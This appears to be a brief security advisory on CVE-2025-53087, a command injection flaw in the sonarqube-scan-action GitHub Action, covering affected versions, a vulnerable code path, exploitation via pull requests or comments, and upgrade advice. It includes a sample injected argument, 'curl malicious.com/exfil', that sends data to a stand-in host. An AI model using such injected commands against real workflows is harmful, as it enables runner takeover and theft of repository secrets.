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The CVE-2025-53087 vulnerability exists due to improper neutralization of special elements used in an OS command within the sonarqube-scan-action. The action passes user-supplied input arguments directly to the `exec` function without adequate sanitization. Because GitHub Actions uses a JavaScript runtime to execute commands by spawning a new shell, these unsanitized inputs are treated as part of the shell command. An attacker can exploit this by crafting a malicious pull request or issue comment that includes a payload with shell metacharacters (e.g., backticks, semicolons, $()). When the workflow runs, the action processes this input, which is concatenated into a shell command and executed with the privileges of the GitHub runner, leading to arbitrary code execution.
Platform: GitHub Action
Version: 4.0.0-5.3.0
Vulnerability: Command Injection
Severity: High
date: 2025-09-01
Prediction: Patch: 2025-09-02
What Undercode Say:
Example of a potentially vulnerable workflow step - uses: SonarSource/[email protected] with: args: -Dsonar.token=<code>curl malicious.com/exfil</code> Injected command
// Simplified vulnerable code path
const { exec } = require('@actions/exec');
await exec(<code>sonar-scanner ${userArgs}</code>); // userArgs is not sanitized
How Exploit:
Craft a GitHub issue/pull request with a malicious payload in a field consumed by the action. The workflow trigger on `issue_comment` or `pull_request` events causes the action to execute the injected shell command on the runner.
Protection from this CVE:
Upgrade to v5.3.1. Sanitize inputs. Use `command` instead of `shell` where possible.
Impact:
Arbitrary code execution on the GitHub runner, potentially leading to secrets exfiltration and repository compromise.
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Sources:
Reported By: github.com
Extra Source Hub:
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